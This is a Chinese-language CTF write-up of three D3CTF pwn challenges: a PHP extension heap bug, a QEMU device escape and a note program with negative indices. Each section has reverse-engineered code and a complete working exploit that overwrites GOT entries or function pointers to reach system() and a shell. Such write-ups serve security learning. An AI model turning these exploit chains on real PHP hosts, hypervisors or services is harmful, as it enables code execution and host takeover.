PwnShell

漏洞利用

很久以前就听说过 php pwn,没想到就在这里遇到了。出题人自己实现了一个 php 扩展模块 vuln.so,很显然漏洞就来源于这里,通过逆向分析发现出题人在这个模块中实现的菜单堆,其漏洞函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
unsigned __int64 __fastcall zif_addHacker(__int64 a1, __int64 a2)
{
__int64 v2; // rbp
__int64 v3; // rdi
__int64 v5; // rdx
_BYTE *v6; // rax
_DWORD *v7; // r12
_QWORD *v8; // rbx
void *v9; // rax
size_t v10; // rdx
const void *v11; // rsi
_BYTE *v12; // r13
__int64 v13; // rax
_BYTE *v14; // [rsp+8h] [rbp-40h] BYREF
_BYTE *v15; // [rsp+10h] [rbp-38h] BYREF
unsigned __int64 v16; // [rsp+18h] [rbp-30h]

v3 = *(unsigned int *)(a1 + 44);
v16 = __readfsqword(0x28u);
if ( (unsigned int)zend_parse_parameters(v3, &unk_2000, &v15, &v14) != -1 )
{
if ( v15[8] == 6 && v14[8] == 6 )
{
v5 = 0LL;
v6 = &chunkList[2];
while ( *v6 != 1 ) // 寻找空闲堆块
{
++v5;
v6 += 0x10;
if ( v5 == 0x10 )
goto LABEL_9;
}
v2 = v5;
LABEL_9:
v7 = &chunkList[4 * v2];
v8 = (_QWORD *)_emalloc(*(_QWORD *)(*(_QWORD *)v14 + 0x10LL) + 0x10LL);// v14字符串长度+0x10
v9 = (void *)_emalloc(*(_QWORD *)(*(_QWORD *)v15 + 0x10LL));// v15字符串的长度
*v8 = v9; // 存v15的地址
v10 = *(_QWORD *)(*(_QWORD *)v15 + 0x10LL);// v15字符串长度
v11 = (const void *)(*(_QWORD *)v15 + 0x18LL);// v15字符串的起始地址
v8[1] = v10; // 存v15字符串的长度
memcpy(v9, v11, v10); // 复制v15字符串内容到v9中
v12 = v14;
memcpy(v8 + 2, (const void *)(*(_QWORD *)v14 + 0x18LL), *(_QWORD *)(*(_QWORD *)v14 + 0x10LL));
v13 = *(_QWORD *)(*(_QWORD *)v12 + 0x10LL);// 存v14字符串的长度
*(_QWORD *)v7 = v8;
v7[2] = 13;
*((_BYTE *)v8 + v13 + 0x10) = 0; // 存在off by null
}
else
{
*(_DWORD *)(a2 + 8) = 1;
}
}
return v16 - __readfsqword(0x28u);
}

这里先对部分语句进行介绍,首先是下面这段代码:

1
v3 = *(unsigned int *)(a1 + 44);

其作用是获取函数的参数个数。接下来是 zend_parse_parameters 函数,其函数原型为:

1
END_API int zend_parse_parameters(int num_args, const char *type_spec, ...)

第一个参数是传递的参数个数。通常使用 ZEND_NUM_ARGS() 来获取。 第二个参数是一个字符串,指定了函数期望的各个参数的类型,后面紧跟着需要随参数值更新的变量列表。 因为 php 采用松散的变量定义和动态的类型判断,这样做就使得把不同类型的参数转化为期望的类型成为可能。
下表列出了可能指定的类型:

类型指定符 对应的C类型 描述
l long 符号整数
d double 浮点数
s char *, int 二进制字符串,长度
b zend_bool 逻辑型(1或0)
r zval * 资源(文件指针,数据库连接等)
a zval * 联合数组
o zval * 任何类型的对象
O zval * 指定类型的对象。需要提供目标对象的类类型
z zval * 无任何操作的zval

例如下面的例子:

1
zend_parse_parameters(ZEND_NUM_ARGS(), "sl", &str, &str_len, &n)

该表达式则是获取两个参数 strn,字符串的类型是 s,需要两个参数 char * 字符串和 int 长度;数字的类型 l ,只需要一个参数。
现在重新回到题目的代码,可以看到存在一个 off by null 漏洞(注释里面有写),这里我们就要先认识一下 php 的堆结构。php 的堆结构类似于 libc 2.27tcache, 在 tcache 的基础上删去了 head 头。由此可见,php 的堆还是挺好利用的。由于 vuln.so 模块的 RELRO 开启状态为 Partial RELRO,所以我们可以通过 off by null 漏洞和堆风水修改堆块的 fd 指针,实现修改 _efree 函数的 got 表为 system,从而实现任意指令的执行
接下来的问题是如何泄露地址,这里需要用到一个 linux 的知识。linux 系统内核提供了一种通过 /proc 的文件系统,在程序运行时访问内核数据,改变内核设置的机制。/proc 是一种伪文件结构,也就是说是仅存在于内存中。/proc 中一般比较重要的目录是 sysnetscsisys 目录是可写的,可以通过它来访问和修改内核的参数 /proc 中有一些以 PID 命名(进程号)的进程目录,可以读取对应进程的信息,另外还有一个 /self 目录,用于记录本进程的信息。也即可以通过 /proc/$PID/ 目录来获得该进程的信息,但是这个方法需要知道进程的 PID 是多少,在 forkdaemon 等情况下,PID 可能还会发生变化。所以 Linux 提供了 self 目录,来解决这个问题,不过不同的进程来访问这个目录获得的信息是不同的,内容等价于 /proc/ 本进程 PID 目录下的内容。所以可以通过 self 目录直接获得自身的信息,不需要知道 PID
那么,我们这里只需要读取 /proc/self/maps 文件即可。然后,在输出中得到 libc 地址和 vuln.so 的地址。
这里,还需要用到 php 的一个技巧,即 ob 函数。在 php 中我们可以通过 ob_start 来打开缓冲区,然后程序的输出流就会被存储到变量中,我们可以使用 ob_get_contents 来获得 输出流,然后通过正则匹配从输出流中获得地址。
这部分可以当作板子来用,就像这一道题目用于泄露地址的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}

$libc="";
$mbase="";

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
function str2Hex($str) {
$hex = "";
for ($i = strlen($str) - 1;$i >= 0;$i--) $hex.= dechex(ord($str[$i]));
$hex = strtoupper($hex);
return $hex;
}

function int2Str($i, $x = 8) {
$re = "";
for ($j = 0; $j < $x; $j++) {
$re .= pack('C', $i & 0xff);
$i >>= 8;
}
return $re;
}

function leakaddr($buffer){
global $libc,$mbase;
$p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';
$p1 = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';
preg_match_all($p, $buffer, $libc);
preg_match_all($p1, $buffer, $mbase);
return "";
}

$libc="";
$mbase="";

ob_start("leakaddr");
include("/proc/self/maps");
$buffer = ob_get_contents();
ob_end_flush();
leakaddr($buffer);
$libc_base = hexdec($libc[1][0]);
$mod_base = hexdec($mbase[1][0]);

$system_addr = 0x4c490;
$efree_got = 0x4038;

$a = str_repeat("a", 0x40);
$b = str_repeat("b", 0x3f);

for ($i = 1; $i < 0xe; $i++) {
$n = 0x61 + $i;
$aa = pack("C", $n);
$aaa = str_repeat($aa, 0x40);
addHacker($aaa, $b);
}

$cmd = "/readflag > /var/www/html/flag.txt\x00";
editHacker(0,$cmd);

removeHacker(7);
$c = str_repeat("c", 0x40);
addHacker($a, $c);

removeHacker(6);
editHacker(8, int2str($mod_base+$efree_got));

addHacker($a, $b);
$payload = str_repeat(int2str($libc_base+$system_addr),8);

addHacker($payload, $b);
removeHacker(0);
?>

调试

这道题我感觉难点在于如何调试。这道题目给出了 docker 环境,所以我们可以在 docker 中启动 gdbserver 远程调试,其做法如下:

然后在另外一个终端中启动 gdb,然后输入 target remote:8888 即可连接
这里要注意的是,我 docker 是将其 9999 端口映射到物理机的 8888 端口,所以我在 docker 中启动 gdbserver 使用的是 9999 端口,在物理机中 gdb 远程连接的端口是 8888
由于题目给的 docker 并没有安装 gdbserver,我们可以通过下面这条命令进行安装

1
apt install gdbserver

接下来就要说说调试技巧。由于程序要运行很多汇编代码后才会将 vuln.so 模块给加载进来,所以一直在 gdb 中使用 si 是行不通的,我的方法是在 exp.php 中使用 fgetc(STDIN) 来将程序卡住,然后在 gdb 中输入 c 来进行类似于断点的操作,但是这样的 php 文件运行时会发现系统报错说找不到 fgetc 这一个 function,这是应为在 php.ini 文件中将这一个函数给 ban 了,我们可以通过下面这一条指令来找到 php.ini 文件所在的文件夹

1
php -i | grep "Configuration File (php.ini) Path"

php.ini 文件中我们找到 disable_functions 那个地方

可以看见我们要用的 fgetc 函数在最后一行,我们将其删除即可
下面给出一条用于查询 php 扩展模块所在的路径的命令

1
php-config --extension-dir

D3EasyEscape

这道题是 qemu 逃逸,之前没事干学了一下,这不刚好可以用上了,其关键函数如下:
l0dev_mmio_read:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall l0dev_mmio_read(__int64 opaque, unsigned __int64 addr, unsigned int size)
{
__int64 dest; // [rsp+30h] [rbp-20h] BYREF
__int64 v6; // [rsp+38h] [rbp-18h]
unsigned __int64 addr_v7; // [rsp+40h] [rbp-10h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
v6 = sub_7F810F(opaque, "l0dev", "../qemu-7.0.0/hw/misc/l0dev.c", 82LL, "l0dev_mmio_read");
dest = -1LL;
addr_v7 = addr >> 3;
if ( size > 8 )
return dest;
if ( 8 * addr_v7 + size <= 0x100 )
memcpy(&dest, (const void *)((unsigned int)(*(_DWORD *)(v6 + 0xA00) + addr) + 0xC30LL + v6 + 4), size);
return dest;
}

l0dev_pmio_read:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall l0dev_pmio_read(__int64 opaque, unsigned __int64 addr, unsigned int size)
{
__int64 dest; // [rsp+30h] [rbp-20h] BYREF
__int64 v6; // [rsp+38h] [rbp-18h]
unsigned __int64 addr_v7; // [rsp+40h] [rbp-10h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
v6 = sub_7F810F(opaque, "l0dev", "../qemu-7.0.0/hw/misc/l0dev.c", 104LL, "l0dev_pmio_read");
dest = -1LL;
addr_v7 = addr >> 3;
if ( size > 8 )
return dest;
if ( 8 * addr_v7 + size > 0x100 )
return dest;
memcpy(&dest, (const void *)((unsigned int)addr + 0xC30LL + v6 + 4), size);
if ( (_DWORD)dest == 666 )
++dword_123B1CC;
return dest;
}

l0dev_mmio_write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void *__fastcall l0dev_mmio_write(__int64 opaque, unsigned __int64 addr, __int64 value, unsigned int size)
{
void *result; // rax
unsigned int size_n; // [rsp+4h] [rbp-3Ch]
_QWORD n_4[3]; // [rsp+8h] [rbp-38h] BYREF
unsigned int addr_v7; // [rsp+24h] [rbp-1Ch]
__int64 v8; // [rsp+28h] [rbp-18h]
unsigned __int64 v9; // [rsp+30h] [rbp-10h]
__int64 v10; // [rsp+38h] [rbp-8h]

n_4[2] = opaque;
n_4[1] = addr;
n_4[0] = value;
size_n = size;
v8 = sub_7F810F(opaque, "l0dev", "../qemu-7.0.0/hw/misc/l0dev.c", 133LL, "l0dev_mmio_write");
v9 = addr >> 3;
result = (void *)addr;
addr_v7 = addr;
if ( size_n <= 8 )
{
result = (void *)(8 * v9 + size_n);
if ( (unsigned __int64)result <= 0x100 )
{
if ( addr_v7 == 0x40 )
{
v10 = n_4[0];
addr_v7 = (*(int (__fastcall **)(_QWORD *))(v8 + 0xD48))(n_4) % 0x100;
return memcpy((void *)(addr_v7 + 0xC30LL + v8 + 4), n_4, size_n);
}
else if ( addr_v7 == 0x80 )
{
result = (void *)n_4[0];
if ( n_4[0] <= 0x100uLL )
{
result = (void *)v8;
*(_DWORD *)(v8 + 0xA00) = n_4[0];
}
}
else
{
return memcpy((void *)(addr_v7 + 0xC30LL + v8 + 4), n_4, size_n);
}
}
}
return result;
}

l0dev_pmio_write:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void *__fastcall l0dev_pmio_write(__int64 opaque, unsigned __int64 addr, __int64 value, int size)
{
void *result; // rax
_DWORD n[3]; // [rsp+4h] [rbp-3Ch] BYREF
unsigned __int64 addr_v6; // [rsp+10h] [rbp-30h]
__int64 v7; // [rsp+18h] [rbp-28h]
int v8; // [rsp+2Ch] [rbp-14h]
__int64 v9; // [rsp+30h] [rbp-10h]
unsigned __int64 addr_v10; // [rsp+38h] [rbp-8h]

v7 = opaque;
addr_v6 = addr;
*(_QWORD *)&n[1] = value;
n[0] = size;
v9 = sub_7F810F(opaque, "l0dev", "../qemu-7.0.0/hw/misc/l0dev.c", 173LL, "l0dev_pmio_write");
if ( dword_123B1CC )
return memcpy((void *)((unsigned int)(*(_DWORD *)(v9 + 0xA00) + addr_v6) + 0xC30LL + v9 + 4), &n[1], n[0]);
result = (void *)(addr_v6 >> 3);
addr_v10 = addr_v6 >> 3;
if ( n[0] <= 8u )
{
result = (void *)(8 * addr_v10 + n[0]);
if ( (unsigned __int64)result <= 0x100 )
{
v8 = addr_v6;
return memcpy((void *)((unsigned int)addr_v6 + 0xC30LL + v9 + 4), &n[1], n[0]);
}
}
return result;
}

说实话,这道题目我看了好久才找到漏洞,还是做题做太少了。在 l0dev_mmio_write 函数中当 addr_v7 == 0x80 时我们可以对 *(_DWORD *)(v8 + 0xA00) 的值进行设置,而在 l0dev_mmio_read 函数中我们可以相对 *(_DWORD *)(v8 + 0xA00) 某个偏移范围内的数据进行读,在 l0dev_pmio_write 函数中我们可以相对 *(_DWORD *)(v8 + 0xA00) 某个偏移范围内的数据进行写,也就是说这里存在越界读和越界写。观察到 l0dev_mmio_write 函数中下面这一段代码:

1
2
3
4
5
if ( addr_v7 == 0x40 ){
v10 = n_4[0];
addr_v7 = (*(int (__fastcall **)(_QWORD *))(v8 + 0xD48))(n_4) % 0x100;
return memcpy((void *)(addr_v7 + 0xC30LL + v8 + 4), n_4, size_n);
}

可以看见 (int (__fastcall **)(_QWORD *))(v8 + 0xD48) 处存储的是一个函数指针,通过 gdb 我们可以发现其存储的是 rand_r 函数的地址,该函数位于 libc 上,所以我们可以通过越界读读取此处来获取 libc 的地址。可以看见这个地方是通过函数指针调用了函数,且函数的参数我们是可控的,所以我们可以劫持该函数指针执行 system 函数的地址,然后另函数从参数为 sh 即可实现逃逸
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

void err_exit(char *msg){
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}

void info(char *msg){
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value){
printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}

void * mmio_mem;
uint32_t port_mem = 0xc000;

uint32_t pmio_read(uint32_t port) {
return inl(port_mem + port);
}

void pmio_write(uint32_t port, uint32_t val){
outl(val, port_mem + port);
}

uint32_t mmio_read(uint64_t addr){
return *(uint32_t *)(mmio_mem + addr);
}

void mmio_write(uint64_t addr, uint32_t val){
*(uint32_t *)(mmio_mem + addr) = val;
}

void mmio_write64(uint64_t addr, uint64_t val){
*(uint64_t *)(mmio_mem + addr) = val;
}

int main()
{
// Open and map I/O memory for the strng device
if (iopl(3) !=0 ){
perror("I/O permission is not enough");
exit(-1);
}

int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1) {
perror("[-] failed to open mmio.");
exit(EXIT_FAILURE);
}

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED) {
perror("[-] failed to mmap mmio.");
exit(EXIT_FAILURE);
}

mmio_write(8, 666); // dest = 666
mmio_write(0x80, 0x80); // *(_DWORD *)(v8 + 0xA00) = 0x80
pmio_read(8); // dword_123B1CC++
uint32_t leak = mmio_read(0x8c);
uint32_t low_system_addr = 0xa610 + leak;
hexx("low_system_addr", low_system_addr);

pmio_write(0x94, low_system_addr);

// addr_v7 = system("sh") % 0x100;
mmio_write(0x40, 0x6873);

return 0;
}

上传脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import sys
import os
from pwn import *
import string

context.log_level='debug'

sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
ru = lambda x : p.recvuntil(x)

p = remote('106.14.121.29', 30537)

def send_cmd(cmd):
sla('# ', cmd)

def upload():
lg = log.progress('Upload')
with open('exp', 'rb') as f:
data = f.read()
encoded = base64.b64encode(data)
encoded = str(encoded)[2:-1]
# send_cmd('cd /proc/141/net')
for i in range(0, len(encoded), 300):
lg.status('%d / %d' % (i, len(encoded)))
send_cmd('echo -n "%s" >> benc' % (encoded[i:i+300]))
send_cmd('cat benc | base64 -d > exp')
send_cmd('chmod +x exp')
send_cmd('./exp')
lg.success()

upload()

p.interactive()

可能用人会问,在 qemu 中执行 system("/bin/sh") 不是无法 getsell 的吗,执行后不会有任何回显。其实是可以 getshell 的,但是需要通过 pwntools 连接后才可以看见回显,其效果如下:

d3note

题目代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-1Ch]
int v4; // [rsp+8h] [rbp-18h]
int v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+8h] [rbp-18h]
int v7; // [rsp+8h] [rbp-18h]
unsigned int v8; // [rsp+Ch] [rbp-14h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
while ( 1 )
{
v3 = sub_4011F2();
if ( v3 != 6425 )
break;
v6 = sub_4011F2();
free(*((void **)&unk_4040A0 + 2 * v6 + 1));
*((_QWORD *)&unk_4040A0 + 2 * v6 + 1) = 0LL;
*((_DWORD *)&unk_4040A0 + 4 * v6) = 0;
}
if ( v3 > 6425 )
{
LABEL_13:
puts("Invalid choice");
}
else if ( v3 == 2064 )
{
v7 = sub_4011F2();
sub_401186(*((_QWORD *)&unk_4040A0 + 2 * v7 + 1), *((unsigned int *)&unk_4040A0 + 4 * v7));
}
else
{
if ( v3 > 2064 )
goto LABEL_13;
if ( v3 == 276 )
{
v4 = sub_4011F2();
v8 = sub_4011F2();
*((_DWORD *)&unk_4040A0 + 4 * v4) = v8;
*((_QWORD *)&unk_4040A0 + 2 * v4 + 1) = malloc((int)v8);
sub_401186(*((_QWORD *)&unk_4040A0 + 2 * v4 + 1), v8);
}
else
{
if ( v3 != 1300 )
goto LABEL_13;
v5 = sub_4011F2();
puts(*((const char **)&unk_4040A0 + 2 * v5 + 1));
}
}
}
}

开启的保护:

这题第一眼看上去就感觉是经典的菜单题,但是看了办法没有发现堆上的漏洞,后面发现在输入堆块索引时程序并没有对输入的索引进行检测,导致可以使用负索引。由于没有开启 PIERELRO 状态为 Partial RELRO,所以我选择劫持 freegot 表为 system 然后释放掉一个内容为 sh 的堆块来实现 getshell
这题的一个难点在于存储堆块指针的地址都是以 8 结尾,导致我们不好泄露地址,经过长时间的查找我找到了可以利用的地址

所以我选择以这里来泄露 libc 的地址并作为跳板来实现修改 freegot
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64

p=remote('47.103.122.127',32244)
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def add(index,size,content):
sleep(0.1)
p.sendline(b'276')
sleep(0.1)
p.sendline(str(index))
sleep(0.1)
p.sendline(str(size))
sleep(0.1)
p.send(content)

def delete(index):
sleep(0.1)
p.sendline(b'6425')
sleep(0.1)
p.sendline(str(index))

def show(index):
sleep(0.1)
p.sendline(b'1300')
sleep(0.1)
p.sendline(str(index))

def edit(index,content):
sleep(0.1)
p.sendline(b'2064')
sleep(0.1)
p.sendline(str(index))
sleep(0.1)
p.send(content)

add(10,0x10,b'/bin/sh\n')
add(11,0x10,b'a\n')
delete(11)

got = 0x404000

show(-1460)
libc_base = u64(p.recv(6).ljust(8,b"\x00"))-1918624
log.success(f'libc_base:{libc_base:#x}')

pop_rsi = 0x0000000000029419+libc_base
pop_rdx = 0x00000000000fd76d+libc_base
ret = libc_base + 0x00000000000275f2

payload = p64(0x10)+p64(got)
edit(-1460,payload+b'\n')
edit(-2,p64(libc_base+libc.symbols['system'])*2)
delete(10)

p.interactive()

总结

去年的 D3CTF 是我第一次和校队组队参加比赛,当时我的 pwn 水平还停留在栈溢出阶段,完全的被这一些题目给震撼到了。今年再次参加 D3CTF,发现题目能看懂了,花点时间题目能做出来了,看来这一年的努力还是有那么一丢丢作用的,不过还是处于新手阶段,太弱了,哎。比赛期间真的太忙太多事情了,导致没有什么时间做题。qemu 逃逸找到漏洞后发现已经给 xtx 师傅做出来了呜呜呜(太强拉